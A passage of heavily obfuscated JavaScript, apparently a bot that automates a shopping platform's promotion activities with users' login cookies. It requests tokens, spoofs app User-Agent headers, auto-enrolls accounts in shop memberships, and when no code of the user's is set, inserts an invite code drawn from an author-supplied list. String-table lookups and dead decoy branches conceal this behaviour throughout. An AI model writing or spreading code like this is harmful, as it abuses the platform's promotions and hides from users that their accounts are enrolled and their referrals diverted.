_0x3aebf0[_0x12bb('29')](checkCookie);console[_0x12bb('1a')](_0x12bb('2a')+$[_0x12bb('25')]+'\u3011'+($[_0x12bb('28')]||$[_0x12bb('22')])+_0x12bb('2b'));if(!$[_0x12bb('27')]){if(_0x3aebf0[_0x12bb('2c')](_0x3aebf0[_0x12bb('2d')],_0x3aebf0[_0x12bb('2e')])){$[_0x12bb('11')]($[_0x12bb('12')],_0x12bb('2f'),_0x12bb('30')+$[_0x12bb('25')]+'\x20'+($[_0x12bb('28')]||$[_0x12bb('22')])+_0x12bb('31'),{'open-url':_0x3aebf0[_0x12bb('14')]});if($[_0x12bb('32')]()){}continue;}else{console[_0x12bb('1a')](err);}}$[_0x12bb('33')]=0x0;$[_0x12bb('34')]=_0x3aebf0[_0x12bb('35')](getUUID,_0x3aebf0[_0x12bb('36')],0x1);$[_0x12bb('37')]=_0x3aebf0[_0x12bb('38')](getUUID,_0x3aebf0[_0x12bb('39')]);$[_0x12bb('3a')]=ownCode?ownCode:authorCodeList[_0x3aebf0[_0x12bb('35')](random,0x0,authorCodeList[_0x12bb('21')])];$[_0x12bb('3b')]=''+_0x3aebf0[_0x12bb('35')](random,0xf4240,0x98967f);$[_0x12bb('c')]=activityList[activityNum][_0x3aebf0[_0x12bb('3c')]];$[_0x12bb('d')]=activityList[activityNum][_0x3aebf0[_0x12bb('3d')]];$[_0x12bb('3e')]=_0x12bb('3f')+$[_0x12bb('3b')]+_0x12bb('40')+_0x3aebf0[_0x12bb('41')](encodeURIComponent,$[_0x12bb('3a')])+_0x12bb('42')+_0x3aebf0[_0x12bb('43')](encodeURIComponent,$[_0x12bb('44')])+_0x12bb('45');await _0x3aebf0[_0x12bb('46')](rush);await $[_0x12bb('47')](0x7d0);}}})()[_0x12bb('48')](_0x301df0=>{$[_0x12bb('1a')]('','\u274c\x20'+$[_0x12bb('12')]+_0x12bb('49')+_0x301df0+'\x21','');})[_0x12bb('4a')](()=>{$[_0x12bb('4b')]();});async function rush(){var _0x5f5c4d={'\x71\x55\x59\x70\x73':function(_0x4c69a2,_0x2d4c86){return _0x4c69a2+_0x2d4c86;},'\x66\x45\x67\x71\x4c':function(_0x1b3376,_0x704141){return _0x1b3376*_0x704141;},'\x65\x79\x58\x69\x55':function(_0x493048,_0x5db742){return _0x493048-_0x5db742;},'\x64\x6c\x74\x62\x6b':function(_0x2f6f00,_0x16b3b6){return _0x2f6f00|_0x16b3b6;},'\x47\x4a\x53\x6e\x4b':function(_0x49ae7b,_0x4b6ca2){return _0x49ae7b==_0x4b6ca2;},'\x44\x4d\x76\x6b\x6b':function(_0x2c3472,_0x2fba32){return _0x2c3472|_0x2fba32;},'\x6a\x73\x6b\x49\x72':function(_0x521aba,_0x589cc8){return _0x521aba&_0x589cc8;},'\x55\x50\x46\x49\x47':function(_0x311b67){return _0x311b67();},'\x77\x65\x46\x4c\x72':function(_0xf1b4a6,_0x498aeb){return _0xf1b4a6===_0x498aeb;},'\x7a\x49\x48\x7a\x71':_0x12bb('4c'),'\x49\x4d\x59\x55\x61':_0x12bb('4d'),'\x5a\x4a\x52\x41\x6b':function(_0xf95797,_0xa4e421,_0x5dca38,_0x38cb50){return _0xf95797(_0xa4e421,_0x5dca38,_0x38cb50);},'\x52\x57\x57\x6c\x69':_0x12bb('4e'),'\x4c\x54\x66\x66\x7a':function(_0x46d4a5,_0x5af8c0){return _0x46d4a5(_0x5af8c0);},'\x46\x63\x71\x61\x64':function(_0x27c75c,_0x3f39bf,_0x35eb02){return _0x27c75c(_0x3f39bf,_0x35eb02);},'\x77\x7a\x63\x54\x4d':_0x12bb('4f'),'\x64\x4b\x48\x6a\x5a':_0x12bb('50'),'\x4a\x76\x61\x56\x46':_0x12bb('51'),'\x51\x55\x75\x59\x45':_0x12bb('52'),'\x53\x46\x41\x50\x66':function(_0x9e1576,_0x4c5884,_0xd3fcf0){return _0x9e1576(_0x4c5884,_0xd3fcf0);},'\x4e\x62\x43\x4a\x68':_0x12bb('53'),'\x70\x79\x6f\x64\x72':function(_0x5f116e,_0x278781){return _0x5f116e(_0x278781);},'\x74\x77\x4b\x6e\x4f':function(_0x19f616,_0x1d6c50){return _0x19f616(_0x1d6c50);},'\x46\x58\x72\x4e\x4e':function(_0x43c4ba,_0x520555){return _0x43c4ba(_0x520555);},'\x72\x58\x48\x4b\x74':function(_0x2e6435,_0x490e0e){return _0x2e6435!==_0x490e0e;},'\x70\x4e\x57\x79\x47':_0x12bb('54'),'\x48\x5a\x4c\x67\x57':_0x12bb('55'),'\x63\x68\x6c\x4e\x70':function(_0x431418,_0x35efb8,_0x391cb3,_0x351256,_0x49eaac){return _0x431418(_0x35efb8,_0x391cb3,_0x351256,_0x49eaac);},'\x65\x51\x71\x67\x41':function(_0x4671a5,_0x38a5d0){return _0x4671a5===_0x38a5d0;},'\x59\x75\x67\x41\x46':function(_0x661d09,_0xc341f5){return _0x661d09!==_0xc341f5;},'\x73\x58\x67\x64\x47':_0x12bb('56'),'\x79\x6a\x73\x6d\x6e':_0x12bb('57'),'\x58\x7a\x4c\x69\x54':_0x12bb('58'),'\x42\x6a\x74\x42\x42':function(_0x5d3b60,_0x3e5263){return _0x5d3b60===_0x3e5263;},'\x6f\x5a\x41\x78\x4c':_0x12bb('59'),'\x51\x6d\x79\x63\x67':_0x12bb('5a'),'\x45\x50\x75\x68\x73':_0x12bb('5b'),'\x51\x58\x4a\x4b\x50':_0x12bb('5c'),'\x53\x5a\x79\x70\x4f':function(_0x51250f,_0x1a5cfb){return _0x51250f!==_0x1a5cfb;},'\x73\x63\x69\x45\x48':_0x12bb('5d'),'\x44\x55\x7a\x6d\x76':function(_0x4620c7,_0x17a90b){return _0x4620c7(_0x17a90b);},'\x67\x4a\x54\x51\x55':_0x12bb('5e'),'\x4e\x75\x6d\x6b\x4a':_0x12bb('5f'),'\x52\x6e\x50\x67\x4c':_0x12bb('60'),'\x53\x70\x65\x65\x72':function(_0x402de2,_0x444cdf){return _0x402de2===_0x444cdf;},'\x4a\x49\x67\x6d\x77':_0x12bb('61'),'\x42\x59\x66\x61\x75':_0x12bb('62'),'\x75\x61\x7a\x48\x6c':_0x12bb('63'),'\x5a\x56\x76\x76\x65':_0x12bb('64')};$[_0x12bb('18')]=null;$[_0x12bb('44')]=null;await _0x5f5c4d[_0x12bb('65')](getFirstLZCK);await _0x5f5c4d[_0x12bb('65')](getToken);if($[_0x12bb('18')]){if(_0x5f5c4d[_0x12bb('66')](_0x5f5c4d[_0x12bb('67')],_0x5f5c4d[_0x12bb('67')])){await _0x5f5c4d[_0x12bb('65')](getMyPing);if($[_0x12bb('44')]){console[_0x12bb('1a')](_0x5f5c4d[_0x12bb('68')](_0x5f5c4d[_0x12bb('69')],$[_0x12bb('3a')]));await _0x5f5c4d[_0x12bb('6a')](task,_0x5f5c4d[_0x12bb('6b')],_0x12bb('6c')+_0x5f5c4d[_0x12bb('6d')](encodeURIComponent,$[_0x12bb('44')])+_0x12bb('6e')+$[_0x12bb('3e')]+_0x12bb('6f'),0x1);await _0x5f5c4d[_0x12bb('70')](task,_0x5f5c4d[_0x12bb('71')],_0x12bb('72')+_0x5f5c4d[_0x12bb('6d')](encodeURIComponent,$[_0x12bb('44')])+_0x12bb('73')+_0x5f5c4d[_0x12bb('6d')](encodeURIComponent,$[_0x12bb('3a')]));if($[_0x12bb('4f')]){console[_0x12bb('1a')]($[_0x12bb('4f')][_0x12bb('74')]);if($[_0x12bb('4f')][_0x12bb('74')]){if(_0x5f5c4d[_0x12bb('66')](_0x5f5c4d[_0x12bb('75')],_0x5f5c4d[_0x12bb('76')])){$[_0x12bb('1a')](data[_0x12bb('77')]);}else{$[_0x12bb('1a')](_0x5f5c4d[_0x12bb('78')]);await _0x5f5c4d[_0x12bb('79')](task,_0x5f5c4d[_0x12bb('7a')],_0x12bb('72')+_0x5f5c4d[_0x12bb('7b')](encodeURIComponent,$[_0x12bb('44')])+_0x12bb('73')+_0x5f5c4d[_0x12bb('7c')](encodeURIComponent,$[_0x12bb('3a')])+_0x12bb('7d')+_0x5f5c4d[_0x12bb('7e')](encodeURIComponent,_0x12bb('7f')));if(!$[_0x12bb('4f')][_0x12bb('80')]){if(_0x5f5c4d[_0x12bb('81')](_0x5f5c4d[_0x12bb('82')],_0x5f5c4d[_0x12bb('83')])){await _0x5f5c4d[_0x12bb('79')](getShopOpenCardInfo,{'venderId':$[_0x12bb('d')],'channel':0x191},$[_0x12bb('d')]);await _0x5f5c4d[_0x12bb('79')](bindWithVender,{'venderId':$[_0x12bb('d')],'shopId':$[_0x12bb('d')],'bindByVerifyCodeFlag':0x1,'registerExtend':{},'writeChildFlag':0x0,'activityId':0x32158e,'channel':0x191},$[_0x12bb('d')]);}else{$[_0x12bb('4b')]();}}await _0x5f5c4d[_0x12bb('84')](task,_0x5f5c4d[_0x12bb('71')],_0x12bb('72')+_0x5f5c4d[_0x12bb('7e')](encodeURIComponent,$[_0x12bb('44')])+_0x12bb('73')+_0x5f5c4d[_0x12bb('7e')](encodeURIComponent,$[_0x12bb('3a')]),0x0,0x1);await $[_0x12bb('47')](0x7d0);if(_0x5f5c4d[_0x12bb('85')]($[_0x12bb('25')],0x1)){if($[_0x12bb('4f')][_0x12bb('86')]){if(_0x5f5c4d[_0x12bb('87')](_0x5f5c4d[_0x12bb('88')],_0x5f5c4d[_0x12bb('88')])){return _0x5f5c4d[_0x12bb('68')](Math[_0x12bb('89')](_0x5f5c4d[_0x12bb('8a')](Math[_0x12bb('8b')](),_0x5f5c4d[_0x12bb('8c')](max,min))),min);}else{$[_0x12bb('1a')](_0x5f5c4d[_0x12bb('8d')]);await _0x5f5c4d[_0x12bb('79')](task,_0x5f5c4d[_0x12bb('8e')],_0x12bb('72')+_0x5f5c4d[_0x12bb('7e')](encodeURIComponent,$[_0x12bb('44')])+_0x12bb('7d')+_0x5f5c4d[_0x12bb('7e')](encodeURIComponent,_0x12bb('7f')));await $[_0x12bb('47')](0x7d0);}}}}}else{if(_0x5f5c4d[_0x12bb('8f')](_0x5f5c4d[_0x12bb('90')],_0x5f5c4d[_0x12bb('91')])){cookie=''+cookie+sk[_0x12bb('92')]('\x3b')[0x0]+'\x3b';}else{if(_0x5f5c4d[_0x12bb('8f')]($[_0x12bb('25')],0x1)){if(_0x5f5c4d[_0x12bb('87')](_0x5f5c4d[_0x12bb('93')],_0x5f5c4d[_0x12bb('94')])){$[_0x12bb('1a')](_0x5f5c4d[_0x12bb('8d')]);if($[_0x12bb('4f')][_0x12bb('86')]){if(_0x5f5c4d[_0x12bb('95')](_0x5f5c4d[_0x12bb('96')],_0x5f5c4d[_0x12bb('96')])){console[_0x12bb('1a')](error);}else{await _0x5f5c4d[_0x12bb('79')](task,_0x5f5c4d[_0x12bb('8e')],_0x12bb('72')+_0x5f5c4d[_0x12bb('97')](encodeURIComponent,$[_0x12bb('44')])+_0x12bb('7d')+_0x5f5c4d[_0x12bb('97')](encodeURIComponent,_0x12bb('7f')));console[_0x12bb('1a')](ownCode);await $[_0x12bb('47')](0x7d0);}}else{$[_0x12bb('1a')](_0x5f5c4d[_0x12bb('98')]);console[_0x12bb('1a')]($[_0x12bb('4f')][_0x12bb('99')]);}}else{var _0x5bca8f=_0x5f5c4d[_0x12bb('9a')](_0x5f5c4d[_0x12bb('8a')](Math[_0x12bb('8b')](),0x10),0x0),_0x1683d5=_0x5f5c4d[_0x12bb('9b')](c,'\x78')?_0x5bca8f:_0x5f5c4d[_0x12bb('9c')](_0x5f5c4d[_0x12bb('9d')](_0x5bca8f,0x3),0x8);if(UpperCase){uuid=_0x1683d5[_0x12bb('9e')](0x24)[_0x12bb('9f')]();}else{uuid=_0x1683d5[_0x12bb('9e')](0x24);}return uuid;}}else{$[_0x12bb('1a')](_0x5f5c4d[_0x12bb('a0')]);}}}}else{$[_0x12bb('1a')](_0x5f5c4d[_0x12bb('a1')]);}}else{if(_0x5f5c4d[_0x12bb('a2')](_0x5f5c4d[_0x12bb('a3')],_0x5f5c4d[_0x12bb('a4')])){cookie=''+cookie+ck[_0x12bb('92')]('\x3b')[0x0]+'\x3b';}else{$[_0x12bb('1a')](_0x5f5c4d[_0x12bb('a5')]);}}}else{$[_0x12bb('1a')](err);}}else{$[_0x12bb('1a')](_0x5f5c4d[_0x12bb('a6')]);}}function getAuthorCodeList(_0x44fc8b){var _0x2b0215={'\x52\x72\x73\x66\x49':_0x12bb('a7'),'\x74\x45\x56\x46\x6a':_0x12bb('a8'),'\x4b\x6f\x51\x43\x65':_0x12bb('a9'),'\x52\x6c\x78\x61\x77':_0x12bb('63'),'\x59\x68\x46\x54\x56':function(_0x832eb4,_0x323570){return _0x832eb4===_0x323570;},'\x62\x4b\x55\x54\x79':_0x12bb('aa'),'\x66\x68\x57\x69\x47':_0x12bb('ab'),'\x6a\x53\x44\x64\x76':function(_0x215479,_0x7a8343){return _0x215479===_0x7a8343;},'\x42\x53\x76\x42\x58':_0x12bb('ac'),'\x65\x70\x56\x69\x4a':_0x12bb('ad'),'\x62\x4c\x57\x41\x76':function(_0x283ab2,_0x309734){return _0x283ab2(_0x309734);},'\x72\x75\x4f\x4a\x45':function(_0x4822cf,_0x3a0d55){return _0x4822cf!==_0x3a0d55;},'\x59\x7a\x73\x41\x41':_0x12bb('ae'),'\x70\x61\x4a\x65\x66':_0x12bb('af')};return new Promise(_0x22cae2=>{var _0x30e5bc={'\x61\x4d\x71\x5a\x65':_0x2b0215[_0x12bb('b0')],'\x47\x6d\x5a\x73\x73':_0x2b0215[_0x12bb('b1')],'\x72\x52\x67\x57\x48':_0x2b0215[_0x12bb('b2')],'\x62\x79\x69\x45\x77':_0x2b0215[_0x12bb('b3')],'\x49\x63\x45\x5a\x4d':function(_0x4a154d,_0x1c58f4){return _0x2b0215[_0x12bb('b4')](_0x4a154d,_0x1c58f4);},'\x56\x53\x61\x4b\x4b':_0x2b0215[_0x12bb('b5')],'\x79\x58\x63\x74\x50':_0x2b0215[_0x12bb('b6')],'\x4e\x4f\x69\x64\x64':function(_0x15a3e4,_0x1aa530){return _0x2b0215[_0x12bb('b7')](_0x15a3e4,_0x1aa530);},'\x49\x74\x53\x70\x57':_0x2b0215[_0x12bb('b8')],'\x46\x73\x48\x6b\x68':_0x2b0215[_0x12bb('b9')],'\x52\x75\x64\x4d\x44':function(_0x5c14a7,_0x4e1443){return _0x2b0215[_0x12bb('ba')](_0x5c14a7,_0x4e1443);}};if(_0x2b0215[_0x12bb('bb')](_0x2b0215[_0x12bb('bc')],_0x2b0215[_0x12bb('bc')])){for(let _0x1ca9a8 of resp[_0x30e5bc[_0x12bb('bd')]][_0x30e5bc[_0x12bb('be')]]){cookie=''+cookie+_0x1ca9a8[_0x12bb('92')]('\x3b')[0x0]+'\x3b';}}else{const _0x445a31={'\x75\x72\x6c':_0x44fc8b+'\x3f'+new Date(),'timeout':0x2710,'\x68\x65\x61\x64\x65\x72\x73':{'User-Agent':_0x2b0215[_0x12bb('bf')]}};$[_0x12bb('c0')](_0x445a31,async(_0x5ef358,_0x15f8b1,_0x5d68a1)=>{var _0x4f6d90={'\x77\x53\x4e\x4b\x42':_0x30e5bc[_0x12bb('c1')]};try{if(_0x30e5bc[_0x12bb('c2')](_0x30e5bc[_0x12bb('c3')],_0x30e5bc[_0x12bb('c4')])){$[_0x12bb('1a')](_0x4f6d90[_0x12bb('c5')]);}else{if(_0x5ef358){$[_0x12bb('19')]=![];}else{if(_0x5d68a1)_0x5d68a1=JSON[_0x12bb('15')](_0x5d68a1);$[_0x12bb('19')]=!![];}}}catch(_0x2f6b8b){$[_0x12bb('c6')](_0x2f6b8b,_0x15f8b1);_0x5d68a1=null;}finally{if(_0x30e5bc[_0x12bb('c7')](_0x30e5bc[_0x12bb('c8')],_0x30e5bc[_0x12bb('c9')])){for(let _0x46fb75 of _0x15f8b1[_0x30e5bc[_0x12bb('bd')]][_0x30e5bc[_0x12bb('ca')]][_0x12bb('92')]('\x2c')){cookie=''+cookie+_0x46fb75[_0x12bb('92')]('\x3b')[0x0]+'\x3b';}}else{_0x30e5bc[_0x12bb('cb')](_0x22cae2,_0x5d68a1);}}});}});}function task(_0x1bd24b,_0x3b816c,_0x42f7ce=0x0){var _0x2a74f1={'\x67\x4c\x43\x42\x6b':_0x12bb('cc'),'\x64\x47\x71\x70\x6d':_0x12bb('cd'),'\x78\x5a\x4d\x47\x47':_0x12bb('ce'),'\x55\x51\x61\x6e\x70':_0x12bb('cf'),'\x5a\x4f\x77\x53\x4a':_0x12bb('d0'),'\x47\x49\x5a\x49\x59':_0x12bb('d1'),'\x50\x63\x57\x66\x76':_0x12bb('d2'),'\x58\x7a\x5a\x75\x54':_0x12bb('d3'),'\x57\x71\x5a\x43\x68':function(_0x54594d){return _0x54594d();},'\x4e\x6b\x6d\x78\x58':function(_0x5cfbc2,_0x33f6a1){return _0x5cfbc2===_0x33f6a1;},'\x45\x65\x53\x6c\x69':_0x12bb('d4'),'\x64\x79\x77\x4d\x4d':_0x12bb('d5'),'\x71\x4b\x6d\x68\x71':_0x12bb('d6'),'\x6b\x78\x4a\x64\x6e':_0x12bb('d7'),'\x62\x54\x68\x56\x57':function(_0x395aa1,_0x4ab790){return _0x395aa1!==_0x4ab790;},'\x78\x6a\x63\x69\x74':_0x12bb('d8'),'\x65\x58\x58\x4b\x77':_0x12bb('d9'),'\x59\x52\x4e\x48\x78':_0x12bb('da'),'\x53\x41\x4a\x55\x63':_0x12bb('58'),'\x78\x66\x43\x58\x4e':_0x12bb('db'),'\x58\x72\x51\x70\x4d':function(_0x5cda6e,_0x364468){return _0x5cda6e===_0x364468;},'\x4f\x49\x44\x58\x6a':_0x12bb('dc'),'\x51\x6b\x66\x6e\x74':_0x12bb('dd'),'\x59\x77\x6e\x66\x46':_0x12bb('4f'),'\x73\x42\x47\x6f\x4b':_0x12bb('de'),'\x6f\x48\x4c\x71\x52':_0x12bb('4e'),'\x43\x5a\x74\x62\x45':_0x12bb('df'),'\x61\x68\x61\x43\x41':_0x12bb('e0'),'\x77\x67\x4b\x4b\x46':_0x12bb('e1'),'\x6a\x41\x4d\x6c\x73':_0x12bb('e2'),'\x4a\x51\x75\x41\x7a':_0x12bb('e3'),'\x6a\x59\x4b\x76\x57':_0x12bb('e4'),'\x6b\x50\x5a\x4a\x70':function(_0x42c32d){return _0x42c32d();},'\x4d\x47\x79\x7a\x48':_0x12bb('e5'),'\x66\x47\x43\x45\x58':function(_0x4ec9bb,_0xc4c08d,_0x2d89e3,_0x2ee674){return _0x4ec9bb(_0xc4c08d,_0x2d89e3,_0x2ee674);}};return new Promise(_0x529852=>{var _0x274de3={'\x4b\x56\x4f\x4d\x55':_0x2a74f1[_0x12bb('e6')],'\x55\x57\x6d\x68\x77':_0x2a74f1[_0x12bb('e7')],'\x69\x67\x63\x6d\x57':_0x2a74f1[_0x12bb('e8')],'\x69\x74\x72\x42\x57':_0x2a74f1[_0x12bb('e9')],'\x4f\x6e\x69\x56\x59':_0x2a74f1[_0x12bb('ea')],'\x69\x63\x4a\x43\x51':_0x2a74f1[_0x12bb('eb')],'\x70\x58\x74\x55\x62':_0x2a74f1[_0x12bb('ec')],'\x59\x6f\x78\x61\x62':_0x2a74f1[_0x12bb('ed')],'\x69\x4b\x4a\x77\x58':function(_0x4b2253){return _0x2a74f1[_0x12bb('ee')](_0x4b2253);},'\x58\x4d\x58\x6b\x53':function(_0x523942,_0x827c7c){return _0x2a74f1[_0x12bb('ef')](_0x523942,_0x827c7c);},'\x49\x47\x58\x4c\x54':_0x2a74f1[_0x12bb('f0')],'\x71\x6c\x67\x61\x46':_0x2a74f1[_0x12bb('f1')],'\x79\x48\x46\x6f\x58':_0x2a74f1[_0x12bb('f2')],'\x74\x55\x42\x54\x65':_0x2a74f1[_0x12bb('f3')],'\x42\x6b\x6e\x52\x43':function(_0x32cbe2,_0xde0037){return _0x2a74f1[_0x12bb('f4')](_0x32cbe2,_0xde0037);},'\x43\x4b\x67\x72\x75':_0x2a74f1[_0x12bb('f5')],'\x4e\x66\x5a\x72\x62':_0x2a74f1[_0x12bb('f6')],'\x45\x65\x66\x4a\x4b':function(_0x175bbf,_0x33eb1d){return _0x2a74f1[_0x12bb('ef')](_0x175bbf,_0x33eb1d);},'\x6b\x68\x46\x52\x55':_0x2a74f1[_0x12bb('f7')],'\x6f\x73\x65\x75\x55':_0x2a74f1[_0x12bb('f8')],'\x49\x73\x6a\x46\x67':_0x2a74f1[_0x12bb('f9')],'\x4e\x45\x51\x55\x64':function(_0x498847,_0x18f499){return _0x2a74f1[_0x12bb('fa')](_0x498847,_0x18f499);},'\x43\x66\x4e\x71\x7a':function(_0x474c5d,_0x2d6546){return _0x2a74f1[_0x12bb('f4')](_0x474c5d,_0x2d6546);},'\x46\x63\x70\x76\x5a':_0x2a74f1[_0x12bb('fb')],'\x6d\x7a\x5a\x58\x51':_0x2a74f1[_0x12bb('fc')],'\x63\x6b\x78\x54\x79':_0x2a74f1[_0x12bb('fd')],'\x66\x64\x4c\x62\x62':_0x2a74f1[_0x12bb('fe')],'\x6b\x62\x75\x77\x65':_0x2a74f1[_0x12bb('ff')],'\x6a\x6b\x69\x6b\x69':_0x2a74f1[_0x12bb('100')],'\x46\x56\x4d\x67\x73':_0x2a74f1[_0x12bb('101')],'\x6a\x61\x68\x59\x4e':_0x2a74f1[_0x12bb('102')],'\x71\x45\x4b\x54\x6e':_0x2a74f1[_0x12bb('103')],'\x51\x73\x56\x6a\x69':_0x2a74f1[_0x12bb('104')],'\x4f\x61\x45\x44\x76':_0x2a74f1[_0x12bb('105')],'\x4d\x66\x72\x77\x7a':function(_0x21ecf8){return _0x2a74f1[_0x12bb('106')](_0x21ecf8);}};if(_0x2a74f1[_0x12bb('f4')](_0x2a74f1[_0x12bb('107')],_0x2a74f1[_0x12bb('107')])){data=JSON[_0x12bb('15')](data);if(data[_0x12bb('108')]){$[_0x12bb('1a')](_0x12bb('109')+data[_0x12bb('10a')][_0x12bb('10b')]);$[_0x12bb('10c')]=data[_0x12bb('10a')][_0x12bb('10b')];$[_0x12bb('44')]=data[_0x12bb('10a')][_0x12bb('44')];cookie=cookie+_0x12bb('10d')+data[_0x12bb('10a')][_0x12bb('44')];}else{$[_0x12bb('1a')](data[_0x12bb('77')]);}}else{$[_0x12bb('10e')](_0x2a74f1[_0x12bb('10f')](taskUrl,_0x1bd24b,_0x3b816c,_0x42f7ce),async(_0x2f955a,_0x1368f6,_0x53300a)=>{var _0x47ffd8={'\x4c\x45\x68\x67\x64':function(_0x52946b){return _0x274de3[_0x12bb('110')](_0x52946b);}};try{if(_0x274de3[_0x12bb('111')](_0x274de3[_0x12bb('112')],_0x274de3[_0x12bb('113')])){_0x47ffd8[_0x12bb('114')](_0x529852);}else{if(_0x2f955a){if(_0x274de3[_0x12bb('111')](_0x274de3[_0x12bb('115')],_0x274de3[_0x12bb('116')])){return{'\x75\x72\x6c':_0x42f7ce?_0x12bb('117')+_0x1bd24b:_0x12bb('118')+_0x1bd24b,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x274de3[_0x12bb('119')],'\x41\x63\x63\x65\x70\x74':_0x274de3[_0x12bb('11a')],'X-Requested-With':_0x274de3[_0x12bb('11b')],'Accept-Language':_0x274de3[_0x12bb('11c')],'Accept-Encoding':_0x274de3[_0x12bb('11d')],'Content-Type':_0x274de3[_0x12bb('11e')],'\x4f\x72\x69\x67\x69\x6e':_0x274de3[_0x12bb('11f')],'User-Agent':_0x12bb('120')+$[_0x12bb('37')]+_0x12bb('121')+$[_0x12bb('34')]+_0x12bb('122'),'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x274de3[_0x12bb('123')],'\x52\x65\x66\x65\x72\x65\x72':$[_0x12bb('3e')],'\x43\x6f\x6f\x6b\x69\x65':$[_0x12bb('124')]},'\x62\x6f\x64\x79':_0x3b816c};}else{$[_0x12bb('1a')](_0x2f955a);}}else{if(_0x274de3[_0x12bb('125')](_0x274de3[_0x12bb('126')],_0x274de3[_0x12bb('126')])){_0x47ffd8[_0x12bb('114')](_0x529852);}else{if(_0x53300a){if(_0x274de3[_0x12bb('111')](_0x274de3[_0x12bb('127')],_0x274de3[_0x12bb('127')])){_0x53300a=JSON[_0x12bb('15')](_0x53300a);if(_0x53300a[_0x12bb('108')]){if(_0x274de3[_0x12bb('128')](_0x274de3[_0x12bb('129')],_0x274de3[_0x12bb('129')])){switch(_0x1bd24b){case _0x274de3[_0x12bb('12a')]:if(_0x53300a[_0x12bb('10a')][_0x12bb('99')]){$[_0x12bb('1a')](_0x274de3[_0x12bb('12b')]);if(_0x274de3[_0x12bb('12c')]($[_0x12bb('25')],0x1)){if(_0x274de3[_0x12bb('12d')](_0x274de3[_0x12bb('12e')],_0x274de3[_0x12bb('12f')])){ownCode=_0x53300a[_0x12bb('10a')][_0x12bb('99')];}else{$[_0x12bb('1a')](error);}}}break;case _0x274de3[_0x12bb('130')]:$[_0x12bb('4f')]=_0x53300a[_0x12bb('10a')];$[_0x12bb('131')]=_0x53300a[_0x12bb('10a')][_0x12bb('131')];if(_0x274de3[_0x12bb('12c')]($[_0x12bb('25')],0x1)){ownCode=_0x53300a[_0x12bb('10a')][_0x12bb('99')];console[_0x12bb('1a')](ownCode);}break;case _0x274de3[_0x12bb('132')]:console[_0x12bb('1a')](_0x53300a[_0x12bb('10a')]);break;case _0x274de3[_0x12bb('133')]:console[_0x12bb('1a')](_0x53300a[_0x12bb('10a')]);break;case _0x274de3[_0x12bb('134')]:if(_0x53300a[_0x12bb('10a')][_0x12bb('135')]){$[_0x12bb('10b')]=_0x53300a[_0x12bb('10a')][_0x12bb('10b')];$[_0x12bb('136')]=_0x53300a[_0x12bb('10a')][_0x12bb('135')];}else{$[_0x12bb('10b')]=_0x53300a[_0x12bb('10a')][_0x12bb('10b')];$[_0x12bb('136')]=_0x274de3[_0x12bb('137')];}break;}}else{cookie=''+cookie+ck[_0x12bb('92')]('\x3b')[0x0]+'\x3b';}}else{if(_0x274de3[_0x12bb('12c')](_0x274de3[_0x12bb('138')],_0x274de3[_0x12bb('139')])){ownCode=_0x53300a[_0x12bb('10a')][_0x12bb('99')];}else{$[_0x12bb('1a')](JSON[_0x12bb('13a')](_0x53300a));}}}else{if(_0x53300a)_0x53300a=JSON[_0x12bb('15')](_0x53300a);$[_0x12bb('19')]=!![];}}}}}}catch(_0x3e27f0){if(_0x274de3[_0x12bb('12c')](_0x274de3[_0x12bb('13b')],_0x274de3[_0x12bb('13c')])){uuid=v[_0x12bb('9e')](0x24);}else{$[_0x12bb('1a')](_0x3e27f0);}}finally{_0x274de3[_0x12bb('13d')](_0x529852);}});}});}function taskUrl(_0x5e3dfd,_0x25d598,_0x1d88b1){var _0x4e7c38={'\x67\x49\x42\x69\x75':_0x12bb('cc'),'\x6b\x76\x55\x71\x5a':_0x12bb('cd'),'\x6b\x4e\x56\x63\x62':_0x12bb('ce'),'\x64\x4f\x47\x67\x69':_0x12bb('cf'),'\x71\x63\x4d\x63\x58':_0x12bb('d0'),'\x70\x75\x62\x4e\x61':_0x12bb('d1'),'\x54\x45\x73\x45\x75':_0x12bb('d2'),'\x53\x4b\x4d\x4e\x63':_0x12bb('d3')};return{'\x75\x72\x6c':_0x1d88b1?_0x12bb('117')+_0x5e3dfd:_0x12bb('118')+_0x5e3dfd,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x4e7c38[_0x12bb('13e')],'\x41\x63\x63\x65\x70\x74':_0x4e7c38[_0x12bb('13f')],'X-Requested-With':_0x4e7c38[_0x12bb('140')],'Accept-Language':_0x4e7c38[_0x12bb('141')],'Accept-Encoding':_0x4e7c38[_0x12bb('142')],'Content-Type':_0x4e7c38[_0x12bb('143')],'\x4f\x72\x69\x67\x69\x6e':_0x4e7c38[_0x12bb('144')],'User-Agent':_0x12bb('120')+$[_0x12bb('37')]+_0x12bb('121')+$[_0x12bb('34')]+_0x12bb('122'),'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x4e7c38[_0x12bb('145')],'\x52\x65\x66\x65\x72\x65\x72':$[_0x12bb('3e')],'\x43\x6f\x6f\x6b\x69\x65':$[_0x12bb('124')]},'\x62\x6f\x64\x79':_0x25d598};}function getMyPing(){var _0x215f4a={'\x46\x58\x42\x4d\x71':_0x12bb('a7'),'\x6a\x71\x6f\x66\x4f':_0x12bb('a9'),'\x5a\x41\x45\x43\x69':function(_0x4fd5e9,_0x354634){return _0x4fd5e9===_0x354634;},'\x6b\x50\x63\x71\x58':_0x12bb('146'),'\x4f\x6b\x68\x45\x66':_0x12bb('147'),'\x79\x6d\x56\x57\x6d':_0x12bb('a8'),'\x46\x6a\x73\x62\x66':function(_0x12ed33,_0x4e8992){return _0x12ed33===_0x4e8992;},'\x6f\x52\x46\x73\x63':_0x12bb('148'),'\x4c\x59\x52\x69\x41':_0x12bb('149'),'\x5a\x70\x42\x50\x67':function(_0x1a7a24,_0x5dbbb2){return _0x1a7a24===_0x5dbbb2;},'\x61\x54\x4b\x72\x4a':_0x12bb('14a'),'\x4c\x4b\x49\x54\x65':_0x12bb('14b'),'\x68\x68\x45\x4d\x5a':function(_0x554837,_0x59e364){return _0x554837===_0x59e364;},'\x6e\x77\x67\x48\x45':_0x12bb('14c'),'\x55\x52\x71\x65\x78':_0x12bb('14d'),'\x53\x49\x56\x51\x5a':function(_0xa4574a,_0x552302){return _0xa4574a!==_0x552302;},'\x59\x6f\x61\x4f\x48':_0x12bb('14e'),'\x50\x64\x69\x49\x48':function(_0x38cbf9,_0x555a83){return 